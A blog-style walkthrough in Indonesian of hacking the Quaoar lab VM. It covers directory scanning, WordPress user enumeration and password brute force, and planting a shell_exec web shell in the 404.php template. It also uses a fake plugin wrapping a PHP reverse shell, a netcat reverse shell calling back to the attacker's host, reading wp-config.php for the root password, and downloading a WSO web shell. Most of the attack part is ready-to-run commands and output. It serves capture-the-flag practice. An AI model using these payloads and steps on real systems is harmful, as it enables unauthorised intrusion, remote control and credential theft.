---- Entering directory: http://192.168.0.122/upload/modules/news/ ----
+ http://192.168.0.122/upload/modules/news/add (CODE:403|SIZE:82)                                                                                                                                                                
+ http://192.168.0.122/upload/modules/news/comment (CODE:302|SIZE:0)                                                                                                                                                             
==> DIRECTORY: http://192.168.0.122/upload/modules/news/css/                                                                                                                                                                     
+ http://192.168.0.122/upload/modules/news/delete (CODE:403|SIZE:85)                                                                                                                                                             
+ http://192.168.0.122/upload/modules/news/icon (CODE:200|SIZE:1058)                                                                                                                                                             
+ http://192.168.0.122/upload/modules/news/index (CODE:302|SIZE:0)                                                                                                                                                               
+ http://192.168.0.122/upload/modules/news/index.php (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/modules/news/info (CODE:403|SIZE:83)                                                                                                                                                               
+ http://192.168.0.122/upload/modules/news/info.php (CODE:403|SIZE:83)                                                                                                                                                           
+ http://192.168.0.122/upload/modules/news/install (CODE:403|SIZE:86)                                                                                                                                                            
==> DIRECTORY: http://192.168.0.122/upload/modules/news/languages/                                                                                                                                                               
+ http://192.168.0.122/upload/modules/news/modify (CODE:403|SIZE:85)                                                                                                                                                             
+ http://192.168.0.122/upload/modules/news/rss (CODE:302|SIZE:0)                                                                                                                                                                 
+ http://192.168.0.122/upload/modules/news/search (CODE:403|SIZE:85)                                                                                                                                                             
==> DIRECTORY: http://192.168.0.122/upload/modules/news/templates/                                                                                                                                                               
+ http://192.168.0.122/upload/modules/news/uninstall (CODE:403|SIZE:88)                                                                                                                                                          
+ http://192.168.0.122/upload/modules/news/upgrade (CODE:403|SIZE:86)                                                                                                                                                            
+ http://192.168.0.122/upload/modules/news/view (CODE:403|SIZE:83)                                                                                                                                                               
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/modules/wysiwyg/ ----
+ http://192.168.0.122/upload/modules/wysiwyg/add (CODE:403|SIZE:85)                                                                                                                                                             
+ http://192.168.0.122/upload/modules/wysiwyg/delete (CODE:403|SIZE:88)                                                                                                                                                          
+ http://192.168.0.122/upload/modules/wysiwyg/icon (CODE:200|SIZE:1058)                                                                                                                                                          
+ http://192.168.0.122/upload/modules/wysiwyg/index (CODE:302|SIZE:0)                                                                                                                                                            
+ http://192.168.0.122/upload/modules/wysiwyg/index.php (CODE:302|SIZE:0)                                                                                                                                                        
+ http://192.168.0.122/upload/modules/wysiwyg/info (CODE:403|SIZE:86)                                                                                                                                                            
+ http://192.168.0.122/upload/modules/wysiwyg/info.php (CODE:403|SIZE:86)                                                                                                                                                        
+ http://192.168.0.122/upload/modules/wysiwyg/install (CODE:403|SIZE:89)                                                                                                                                                         
==> DIRECTORY: http://192.168.0.122/upload/modules/wysiwyg/languages/                                                                                                                                                            
+ http://192.168.0.122/upload/modules/wysiwyg/modify (CODE:403|SIZE:88)                                                                                                                                                          
+ http://192.168.0.122/upload/modules/wysiwyg/save (CODE:302|SIZE:0)                                                                                                                                                             
+ http://192.168.0.122/upload/modules/wysiwyg/search (CODE:403|SIZE:88)                                                                                                                                                          
==> DIRECTORY: http://192.168.0.122/upload/modules/wysiwyg/templates/                                                                                                                                                            
+ http://192.168.0.122/upload/modules/wysiwyg/upgrade (CODE:403|SIZE:89)                                                                                                                                                         
+ http://192.168.0.122/upload/modules/wysiwyg/view (CODE:403|SIZE:86)                                                                                                                                                            
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/page/posts/ ----
+ http://192.168.0.122/upload/page/posts/index (CODE:302|SIZE:0)                                                                                                                                                                 
+ http://192.168.0.122/upload/page/posts/index.php (CODE:302|SIZE:0)                                                                                                                                                             
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/temp/search/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/templates/blank/ ----
+ http://192.168.0.122/upload/templates/blank/index (CODE:302|SIZE:0)                                                                                                                                                            
+ http://192.168.0.122/upload/templates/blank/index.php (CODE:302|SIZE:0)                                                                                                                                                        
+ http://192.168.0.122/upload/templates/blank/info (CODE:403|SIZE:86)                                                                                                                                                            
+ http://192.168.0.122/upload/templates/blank/info.php (CODE:403|SIZE:86)                                                                                                                                                        
+ http://192.168.0.122/upload/templates/blank/preview (CODE:200|SIZE:1377)                                                                                                                                                       
+ http://192.168.0.122/upload/templates/blank/template (CODE:200|SIZE:507)                                                                                                                                                       
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-admin/network/ ----
+ http://192.168.0.122/wordpress/wp-admin/network/about (CODE:302|SIZE:0)                                                                                                                                                        
+ http://192.168.0.122/wordpress/wp-admin/network/admin (CODE:302|SIZE:0)                                                                                                                                                        
+ http://192.168.0.122/wordpress/wp-admin/network/admin.php (CODE:302|SIZE:0)                                                                                                                                                    
+ http://192.168.0.122/wordpress/wp-admin/network/credits (CODE:302|SIZE:0)                                                                                                                                                      
+ http://192.168.0.122/wordpress/wp-admin/network/edit (CODE:302|SIZE:0)                                                                                                                                                         
+ http://192.168.0.122/wordpress/wp-admin/network/index (CODE:302|SIZE:0)                                                                                                                                                        
+ http://192.168.0.122/wordpress/wp-admin/network/index.php (CODE:302|SIZE:0)                                                                                                                                                    
+ http://192.168.0.122/wordpress/wp-admin/network/menu (CODE:500|SIZE:0)                                                                                                                                                         
+ http://192.168.0.122/wordpress/wp-admin/network/plugins (CODE:302|SIZE:0)                                                                                                                                                      
+ http://192.168.0.122/wordpress/wp-admin/network/profile (CODE:302|SIZE:0)                                                                                                                                                      
+ http://192.168.0.122/wordpress/wp-admin/network/settings (CODE:302|SIZE:0)                                                                                                                                                     
+ http://192.168.0.122/wordpress/wp-admin/network/setup (CODE:302|SIZE:0)                                                                                                                                                        
+ http://192.168.0.122/wordpress/wp-admin/network/sites (CODE:302|SIZE:0)                                                                                                                                                        
+ http://192.168.0.122/wordpress/wp-admin/network/themes (CODE:302|SIZE:0)                                                                                                                                                       
+ http://192.168.0.122/wordpress/wp-admin/network/update (CODE:302|SIZE:0)                                                                                                                                                       
+ http://192.168.0.122/wordpress/wp-admin/network/upgrade (CODE:302|SIZE:0)                                                                                                                                                      
+ http://192.168.0.122/wordpress/wp-admin/network/users (CODE:302|SIZE:0)                                                                                                                                                        
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-admin/user/ ----
+ http://192.168.0.122/wordpress/wp-admin/user/about (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/wordpress/wp-admin/user/admin (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/wordpress/wp-admin/user/admin.php (CODE:302|SIZE:0)                                                                                                                                                       
+ http://192.168.0.122/wordpress/wp-admin/user/credits (CODE:302|SIZE:0)                                                                                                                                                         
+ http://192.168.0.122/wordpress/wp-admin/user/index (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/wordpress/wp-admin/user/index.php (CODE:302|SIZE:0)                                                                                                                                                       
+ http://192.168.0.122/wordpress/wp-admin/user/menu (CODE:500|SIZE:0)                                                                                                                                                            
+ http://192.168.0.122/wordpress/wp-admin/user/profile (CODE:302|SIZE:0)                                                                                                                                                         
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-content/plugins/ ----
+ http://192.168.0.122/wordpress/wp-content/plugins/hello (CODE:500|SIZE:0)                                                                                                                                                      
+ http://192.168.0.122/wordpress/wp-content/plugins/index (CODE:200|SIZE:0)                                                                                                                                                      
+ http://192.168.0.122/wordpress/wp-content/plugins/index.php (CODE:200|SIZE:0)                                                                                                                                                  
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-content/themes/ ----
+ http://192.168.0.122/wordpress/wp-content/themes/index (CODE:200|SIZE:0)                                                                                                                                                       
+ http://192.168.0.122/wordpress/wp-content/themes/index.php (CODE:200|SIZE:0)                                                                                                                                                   
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-content/upgrade/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/wordpress/wp-content/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/admins/login/forgot/ ----
+ http://192.168.0.122/upload/admins/login/forgot/index (CODE:200|SIZE:2531)                                                                                                                                                     
+ http://192.168.0.122/upload/admins/login/forgot/index.php (CODE:200|SIZE:2531)                                                                                                                                                 
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/include/yui/event/ ----
+ http://192.168.0.122/upload/include/yui/event/event (CODE:200|SIZE:87537)                                                                                                                                                      
+ http://192.168.0.122/upload/include/yui/event/index (CODE:302|SIZE:0)                                                                                                                                                          
+ http://192.168.0.122/upload/include/yui/event/index.php (CODE:302|SIZE:0)                                                                                                                                                      
+ http://192.168.0.122/upload/include/yui/event/README (CODE:200|SIZE:9807)                                                                                                                                                      
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/include/yui/yahoo/ ----
+ http://192.168.0.122/upload/include/yui/yahoo/index (CODE:302|SIZE:0)                                                                                                                                                          
+ http://192.168.0.122/upload/include/yui/yahoo/index.php (CODE:302|SIZE:0)                                                                                                                                                      
+ http://192.168.0.122/upload/include/yui/yahoo/README (CODE:200|SIZE:2889)                                                                                                                                                      
+ http://192.168.0.122/upload/include/yui/yahoo/yahoo (CODE:200|SIZE:35223)                                                                                                                                                      
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/modules/news/css/ ----
+ http://192.168.0.122/upload/modules/news/css/backend (CODE:200|SIZE:1416)                                                                                                                                                      
+ http://192.168.0.122/upload/modules/news/css/frontend (CODE:200|SIZE:1771)                                                                                                                                                     
+ http://192.168.0.122/upload/modules/news/css/index (CODE:302|SIZE:0)                                                                                                                                                           
+ http://192.168.0.122/upload/modules/news/css/index.php (CODE:302|SIZE:0)                                                                                                                                                       
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/modules/news/languages/ ----
+ http://192.168.0.122/upload/modules/news/languages/index (CODE:302|SIZE:0)                                                                                                                                                     
+ http://192.168.0.122/upload/modules/news/languages/index.php (CODE:302|SIZE:0)                                                                                                                                                 
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/modules/news/templates/ ----
==> DIRECTORY: http://192.168.0.122/upload/modules/news/templates/backend/                                                                                                                                                       
+ http://192.168.0.122/upload/modules/news/templates/index (CODE:302|SIZE:0)                                                                                                                                                     
+ http://192.168.0.122/upload/modules/news/templates/index.php (CODE:302|SIZE:0)                                                                                                                                                 
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/modules/wysiwyg/languages/ ----
+ http://192.168.0.122/upload/modules/wysiwyg/languages/index (CODE:302|SIZE:0)                                                                                                                                                  
+ http://192.168.0.122/upload/modules/wysiwyg/languages/index.php (CODE:302|SIZE:0)                                                                                                                                              
                                                                                                                                                                                                                                  
---- Entering directory: http://192.168.0.122/upload/modules/wysiwyg/templates/ ----
+ http://192.168.0.122/upload/modules/wysiwyg/templates/index (CODE:302|SIZE:0)                                                                                                                                                  
+ http://192.168.0.122/upload/modules/wysiwyg/templates/index.php (CODE:302|SIZE:0)                                                                                                                                              
                                                                                                                                                                                                                                 
---- Entering directory: http://192.168.0.122/upload/modules/news/templates/backend/ ----
+ http://192.168.0.122/upload/modules/news/templates/backend/index (CODE:302|SIZE:0)                                                                                                                                             
+ http://192.168.0.122/upload/modules/news/templates/backend/index.php (CODE:302|SIZE:0)                                                                                                                                         
                                                                                                                                                                                                                                 
-----------------
END_TIME: Mon Jan 23 21:35:16 2023
DOWNLOADED: 258272 - FOUND: 252

Coba,

dirb http://192.168.0.122 /usr/share/dirb/wordlists/big.txt -o dirb_scan.txt -w

Hasilny tidak beda jauh dengan sebelumnya.

Sepertinya ada CMS (Lepton CMS) yang mengintai target ini. Disini bisa dilihat terdapat 3 file/folder penting yaitu

/upload
/wordpress
/robots.txt

Akses robot.txt di URL

http://192.168.0.122/robots.txt

keluar tulisan,

Disallow: Hackers
Allow: /wordpress/
   ____                              
#  /___ \_   _  __ _  ___   __ _ _ __ 
# //  / / | | |/ _` |/ _ \ / _` | '__|
#/ \_/ /| |_| | (_| | (_) | (_| | |   
#\___,_\ \__,_|\__,_|\___/ \__,_|_|   
                                    

Akses /upload

http://192.168.0.122/upload/

Ada LEPTON CMS, tapi sulit untuk diakses karena menggunakan IP 192.168.0.190. Tampaknya kita lebih baik focus ke wordpress saja.

Wordpress Scanning

Scan Wordpress,

wpscan --url http://192.168.0.122/wordpress --enumerate u

hasilnya,

_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|  

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.0.122/wordpress/ [192.168.0.122]
[+] Started: Mon Jan 23 21:45:40 2023  

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.2.22 (Ubuntu)
 |  - X-Powered-By: PHP/5.3.10-1ubuntu3
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.0.122/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ 

[+] WordPress readme found: http://192.168.0.122/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.0.122/wordpress/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.0.122/wordpress/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299 

[+] WordPress version 3.9.14 identified (Insecure, released on 2016-09-07).
 | Found By: Rss Generator (Passive Detection)
 |  - http://192.168.0.122/wordpress/?feed=rss2, <generator>http://wordpress.org/?v=3.9.14</generator>
 |  - http://192.168.0.122/wordpress/?feed=comments-rss2, <generator>http://wordpress.org/?v=3.9.14</generator>  

[+] WordPress theme in use: twentyfourteen
 | Location: http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/
 | Last Updated: 2022-11-02T00:00:00.000Z
 | [!] The version is out of date, the latest version is 3.5
 | Style URL: http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14
 | Style Name: Twenty Fourteen
 | Style URI: http://wordpress.org/themes/twentyfourteen
 | Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern design...
 | Author: the WordPress team
 | Author URI: http://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/style.css?ver=3.9.14, Match: 'Version: 1.1'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 
<====================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] wpuser
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register 

[+] Finished: Mon Jan 23 21:45:46 2023
[+] Requests Done: 59
[+] Cached Requests: 6
[+] Data Sent: 15.813 KB
[+] Data Received: 231.31 KB
[+] Memory used: 186.273 MB
[+] Elapsed time: 00:00:05


Yang di temukan,

What	                Fact
/readme.html	        WordPress version 3.9.14
/wp-content/uploads/	Upload directory has directory listing enabled

Di temukan user,

Id	Login	Name
1	admin	admin
2	wpuser	wpuser

Wordpress Bruteforce password

Coba bruteforce,

wpscan --url http://192.168.0.122/wordpress --passwords /usr/share/wordlists/rockyou.txt --usernames admin -t 50

setelah beberapa lama, hasilnya,

.........
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - admin / admin                                                                                                                                                                                                         
All Found                                                                                                                                                                                                                         
Progress Time: 00:01:41 <                                                                                                                                                                     
> (40 / 28688)  0.13%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: admin, Password: admin

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jan 23 21:55:08 2023
[+] Requests Done: 185
[+] Cached Requests: 39
[+] Data Sent: 52.958 KB
[+] Data Received: 4.135 MB
[+] Memory used: 338.531 MB
[+] Elapsed time: 00:01:58
                             

Tampaknya

username admin
password admin

Inject cmd vulnerability

Coba login ke

http://192.168.0.122/wordpress/wp-login.php

Masuk ke

Appearance > Editor > 404 Template (404.php)

Masukan

<?php
/**
 * The template for displaying 404 pages (Not Found)
 *
 * @package WordPress
 * @subpackage Twenty_Fourteen
 * @since Twenty Fourteen 1.0
 */

echo "

";
 echo shell_exec($_GET['cmd']);
 echo "

";

exit();

get_header(); ?>

Jangan lupa di Save setelah di tambahkan. Lakukan command injection lewat URL,

http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=pwd;%20ls%20-lah;%20id

Jika berhasil akan keluar,

/var/www/wordpress/wp-content/themes/twentyfourteen
total 864K
drwxr-xr-x 9 www-data www-data 4.0K Oct 12  2016 .
drwxr-xr-x 5 www-data www-data 4.0K Oct 16  2016 ..
-rw-r--r-- 1 www-data www-data  823 Jan 23 22:30 404.php
-rw-r--r-- 1 www-data www-data 2.2K Oct 12  2016 archive.php
-rw-r--r-- 1 www-data www-data 1.9K Oct 12  2016 author.php
-rw-r--r-- 1 www-data www-data 1.5K Oct 12  2016 category.php
-rw-r--r-- 1 www-data www-data 2.3K Oct 12  2016 comments.php
-rw-r--r-- 1 www-data www-data 2.2K Oct 12  2016 content-aside.php
-rw-r--r-- 1 www-data www-data 2.2K Oct 12  2016 content-audio.php
-rw-r--r-- 1 www-data www-data 1.1K Oct 12  2016 content-featured-post.php
-rw-r--r-- 1 www-data www-data 2.2K Oct 12  2016 content-gallery.php
-rw-r--r-- 1 www-data www-data 2.2K Oct 12  2016 content-image.php
-rw-r--r-- 1 www-data www-data 2.2K Oct 12  2016 content-link.php
-rw-r--r-- 1 www-data www-data  961 Oct 12  2016 content-none.php
-rw-r--r-- 1 www-data www-data  871 Oct 12  2016 content-page.php
-rw-r--r-- 1 www-data www-data 2.2K Oct 12  2016 content-quote.php
-rw-r--r-- 1 www-data www-data 2.2K Oct 12  2016 content-video.php
-rw-r--r-- 1 www-data www-data 2.2K Oct 12  2016 content.php
drwxr-xr-x 2 www-data www-data 4.0K Oct 12  2016 css
-rw-r--r-- 1 www-data www-data  946 Oct 12  2016 featured-content.php
-rw-r--r-- 1 www-data www-data  728 Oct 12  2016 footer.php
-rw-r--r-- 1 www-data www-data  16K Oct 12  2016 functions.php
drwxr-xr-x 3 www-data www-data 4.0K Oct 12  2016 genericons
-rw-r--r-- 1 www-data www-data 2.3K Oct 12  2016 header.php
-rw-r--r-- 1 www-data www-data 2.6K Oct 12  2016 image.php
drwxr-xr-x 2 www-data www-data 4.0K Oct 12  2016 images
drwxr-xr-x 2 www-data www-data 4.0K Oct 12  2016 inc
-rw-r--r-- 1 www-data www-data 1.6K Oct 12  2016 index.php
drwxr-xr-x 2 www-data www-data 4.0K Oct 12  2016 js
drwxr-xr-x 2 www-data www-data 4.0K Oct 12  2016 languages
drwxr-xr-x 2 www-data www-data 4.0K Oct 12  2016 page-templates
-rw-r--r-- 1 www-data www-data 1.2K Oct 12  2016 page.php
-rw-r--r-- 1 www-data www-data  16K Oct 12  2016 rtl.css
-rw-r--r-- 1 www-data www-data 603K Oct 12  2016 screenshot.png
-rw-r--r-- 1 www-data www-data 1.3K Oct 12  2016 search.php
-rw-r--r-- 1 www-data www-data  340 Oct 12  2016 sidebar-content.php
-rw-r--r-- 1 www-data www-data  395 Oct 12  2016 sidebar-footer.php
-rw-r--r-- 1 www-data www-data  848 Oct 12  2016 sidebar.php
-rw-r--r-- 1 www-data www-data 1.1K Oct 12  2016 single.php
-rw-r--r-- 1 www-data www-data  74K Oct 12  2016 style.css
-rw-r--r-- 1 www-data www-data 1.6K Oct 12  2016 tag.php
-rw-r--r-- 1 www-data www-data 2.4K Oct 12  2016 taxonomy-post_format.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)


Alternative Inject Fake Plugin

Di Kali Linux

cd ~
cp /usr/share/webshells/php/php-reverse-shell.php ~/shelly.php

Beri plugin wrapper

<?php
 
/*
Plugin Name: Shelly
Plugin URI: http://localhost  
Description: Bla Bla Bla  
Author: Pingmoose
Version: 1.0.1  
Author URI: http://localhost  
*/
 
COPY CONTENTS OF shelly.php HERE
 
?>


Masuk ke shell Kali, cek IP address

ifconfig eth0

Misalnya, IP address 192.168.0.94 Edit shelly shell ubah,

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Menjadi

$ip = '192.168.0.94';  // CHANGE THIS
$port = 4444;       // CHANGE THIS


Zip,

zip shelly-plugin.zip shelly.php
mv shelly-plugin.zip /home/kali 
chmod -Rf 777 /home/kali/shelly-plugin.zip 
chown kali: /home/kali/shelly-plugin.zip

Masuk ke

http://192.168.0.122/wordpress/wp-admin/plugins.php

Upload, JANGAN di aktifkan

Start netcat listener di Kali

Start 4444 listener

nc -nvlp 4444

Browse untuk connect ke port

  • cek IP address kali linux dengan perintah "ifconfig eth0", misalnya hasilnya 192.168.0.62
  • Browse ke URL (perhatikan spasi)
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=nc%20-nv%20192.168.0.62%204444%20-e%20/bin/bash 

Di kali linux CLI akan ada kata2,

# nc -nvlp 4444  
listening on [any] 4444 ...  
connect to [192.168.0.62] from (UNKNOWN) [192.168.0.130] 60676
whoami  
www-data  
python -c 'import pty; pty.spawn("/bin/bash");'  
www-data@pwnlab:/var/www/html$



Perlu diingat! jangan lupa jalankan 2 perintah ini ketika sudah berhasil connect back

$ python -c "import pty; pty.spawn('/bin/bash');"
$ export TERM=xterm

Privilege Escalation (getting common user) Silahkan baca output dari linuxprivchecker.py. Ada hal yang menarik dari versi kernel tersebut

[+] Kernel

   Linux version 3.2.0-23-generic-pae (buildd@palmer) (gcc version 4.6.3 (Ubuntu/Linaro 4.6.3-1ubuntu4) ) #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012

Dan ketika saya ingin kompile dan jalankan exploit, hal yang saya takutkan benar-benar terjadi

www-data@Quaoar:/var/www/wordpress/wp-content/themes/twentyfourteen$ gcc The program 'gcc' can be found in the following packages:

  • gcc
  • pentium-builder

Ask your administrator to install one of them Oh my god! Tapi saya tidak menyerah, saya cari di https://www.kernel-exploits.com/kernel/?version=3.2.0 dan menemukan exploit yang cocok. Namun ketika dijalankan


Padahal sudah chmod +x sebelumnya Hmm, sekarang kita coba baca kembali /etc/passwd dari linuxprivchecker. Terdapat user wpadmin seperti ini

[+] All users

   root:x:0:0:root:/root:/bin/bash
   daemon:x:1:1:daemon:/usr/sbin:/bin/sh
   bin:x:2:2:bin:/bin:/bin/sh
   sys:x:3:3:sys:/dev:/bin/sh
   sync:x:4:65534:sync:/bin:/bin/sync
   games:x:5:60:games:/usr/games:/bin/sh
   man:x:6:12:man:/var/cache/man:/bin/sh
   lp:x:7:7:lp:/var/spool/lpd:/bin/sh
   mail:x:8:8:mail:/var/mail:/bin/sh
   news:x:9:9:news:/var/spool/news:/bin/sh
   uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
   proxy:x:13:13:proxy:/bin:/bin/sh
   www-data:x:33:33:www-data:/var/www:/bin/sh
   backup:x:34:34:backup:/var/backups:/bin/sh
   list:x:38:38:Mailing List Manager:/var/list:/bin/sh
   irc:x:39:39:ircd:/var/run/ircd:/bin/sh
   nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
   libuuid:x:100:101::/var/lib/libuuid:/bin/sh
   syslog:x:101:103::/home/syslog:/bin/false
   mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
   messagebus:x:103:107::/var/run/dbus:/bin/false
   whoopsie:x:105:112::/nonexistent:/bin/false

....

   wpadmin:x:1001:1001::/home/wpadmin:/bin/sh

Pada password admin wordpress tadi, username & password semuanya sama. Apakah ini juga berlaku pada user wpadmin? mengapa kita tidak coba


Loh ternyata berhasil beneran!!! XD XD

Anyway, saya coba iseng decrypt flag md5 itu dan ternyata tidak ditemukan. Saya coba masukin ke root tapi sepertinya bukan itu passwordnya.

Privilege Escalation (getting root)

cara-cara di atas semua tidak berhasil. Terpaksa menggunakan bruteforce.

http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=pwd
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=ls%20/var/www/wordpress
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=cat%20/var/www/wordpress/wp-config.php



Karena saya tidak menemukan jalan lain selain bruteforce, namun tentunya pusing juga kalau bruteforce rootnya karena /etc/shadow tidak dapat dibuka.

Akhirnya saya coba iseng melihat konfigurasi wordpress, siapa tau password rootnya adalah password database server

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'rootpassword!');
/** MySQL hostname */
define('DB_HOST', 'localhost');

Lalu saya cobakan saja password rootpassword! pada root


Okay! berhasil sudah sampai disini, yey!!!

Epilogue Terus terang aja sih, ini VM sebenarnya gampang cuma malesinnya adalah maenan bruteforce dan tebak password.

Tentunya walaupun mudah, ini juga merupakan hal yang sulit buat kalian yang masih baru dalam dunia hacking. Tebak password itu bisa gw bilang salah satu “skill dewa” karena kamu harus punya sense yang bagus untuk itu.

Paling segitu dulu saja, stay tuned untuk artikel lainnya yah! :D

Referensi



Percoban Menggunakan WSO Webshell

Upload WSO Shell

Download WSO

cd /home/kali/Downloads/
wget https://github.com/mIcHyAmRaNe/wso-webshell/archive/refs/heads/master.zip
unzip master.zip
mv wso-webshell-master/wso.php .                                                                                                                                                                                                                    
mv wso.php wso.txt

Default setting WSO Shell ini

Password   ghost287            Edit line 7 (md5 hash)
Email      test@testmail.com   Edit line 4

File wso.txt ada di /home/kali/Downloads/ Jalankan web server di Kali linux

python3 -m http.server --bind 0.0.0.0 9000

Cek IP address kali linux

ifconfig

Misalnya IP address 192.168.0.62, cek apakah bisa di akses via web alamat

http://192.168.0.62:9000/
http://192.168.0.62:9000/wso.txt

Upload menggunakan exploit,

http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=wget%20http://192.168.0.62:9000/wso.txt
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=mv%20wso.txt%20wso.php
http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=ls%20-la

Coba WSO Shell

Jalankan Remote Shell WSO Shell

http://192.168.0.122/wordpress/wp-content/themes/twentyfourteen/404.php?cmd=php%20wso.php

Di Kali Linux jalankan,

nc -lvp 31337

Tampaknya belum bisa jalan WSO shell


WSO Shell, silahkan yang mau jalan2 Saatnya connectback shell, tinggal jalankan perintah nc -lvp 31337, dan buka bagian network. Masukkan IP kamu dan jadilah shell seperti ini


Referensi